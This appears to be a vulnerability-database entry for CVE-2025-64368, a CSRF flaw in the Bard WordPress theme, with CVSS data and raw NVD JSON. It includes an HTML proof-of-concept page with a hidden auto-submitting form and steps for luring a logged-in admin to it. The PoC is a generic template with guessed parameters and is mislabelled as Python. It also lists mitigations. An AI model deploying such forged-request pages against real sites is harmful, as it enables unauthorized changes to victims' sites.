Security Vulnerability Report
中文
CVE-2025-64368 CVSS 5.4 MEDIUM

CVE-2025-64368

Published: 2025-10-31 12:15:38
Last Modified: 2026-04-27 16:16:41

Description

Cross-Site Request Forgery (CSRF) vulnerability in Mikado-Themes Bard bardwp allows Cross Site Request Forgery.This issue affects Bard: from n/a through <= 1.6.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:qodeinteractive:bard:*:*:*:*:*:wordpress:*:* - VULNERABLE
Bard Theme <= 1.6 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-64368 --> <!-- WordPress Bard Theme (<= 1.6) CSRF Vulnerability --> <!-- This PoC demonstrates a CSRF attack that could modify theme settings --> <!DOCTYPE html> <html> <head> <title>Bard Theme CSRF PoC - CVE-2025-64368</title> <style> body { font-family: Arial, sans-serif; padding: 20px; } .poc-container { max-width: 600px; margin: 0 auto; } .info { background: #f0f0f0; padding: 15px; border-radius: 5px; } form { display: none; } /* Hide the form */ </style> </head> <body> <div class="poc-container"> <h1>CSRF PoC - CVE-2025-64368</h1> <div class="info"> <p><strong>Target:</strong> WordPress with Bard Theme <= 1.6</p> <p><strong>Vulnerability:</strong> Cross-Site Request Forgery</p> <p><strong>Description:</strong> This PoC demonstrates how an attacker can trick an authenticated admin into submitting unintended requests.</p> </div> <!-- Example CSRF form - Replace 'wp-admin/admin-post.php' with actual vulnerable endpoint and add required form parameters based on target version analysis --> <form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf-form"> <!-- Add WordPress nonce and other required parameters here --> <input type="hidden" name="action" value="bard_save_options"> <!-- Add other form fields that the vulnerable endpoint expects --> <input type="hidden" name="bard_setting" value="malicious_value"> <!-- CSRF Token (if weak or missing) --> <input type="hidden" name="_wpnonce" value=""> </form> <script> // Auto-submit the form when page loads // In a real attack, this would be hidden and automatic window.onload = function() { console.log('CSRF PoC loaded - Form will auto-submit'); // Uncomment below to auto-submit // document.getElementById('csrf-form').submit(); }; </script> <h3>How to use this PoC:</h3> <ol> <li>Identify the vulnerable Bard theme version (<= 1.6)</li> <li>Capture a legitimate request from the admin panel</li> <li>Extract the required form parameters and action URL</li> <li>Update the form action and input fields accordingly</li> <li>Host this page on attacker-controlled server</li> <li>Send link to authenticated admin (social engineering)</li> <li>When admin visits, form auto-submits with admin credentials</li> </ol> <h3>Mitigation:</h3> <ul> <li>Upgrade Bard theme to latest version</li> <li>Implement CSRF tokens in all state-changing operations</li> <li>Check Referer header for requests</li> <li>Use SameSite=Strict or SameSite=Lax cookies</li> </ul> </div> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64368", "sourceIdentifier": "[email protected]", "published": "2025-10-31T12:15:37.570", "lastModified": "2026-04-27T16:16:41.473", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Mikado-Themes Bard bardwp allows Cross Site Request Forgery.This issue affects Bard: from n/a through <= 1.6."}, {"lang": "es", "value": "Vulnerabilidad de Cross-Site Request Forgery (CSRF) en Mikado-Themes Bard bardwp permite la Cross-Site Request Forgery. Este problema afecta a Bard: desde n/a hasta menor igual que 1.6."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qodeinteractive:bard:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "1.7", "matchCriteriaId": "840AD584-4573-4338-89BB-BD502C7E221C"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/bardwp/vulnerability/wordpress-bard-theme-1-6-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}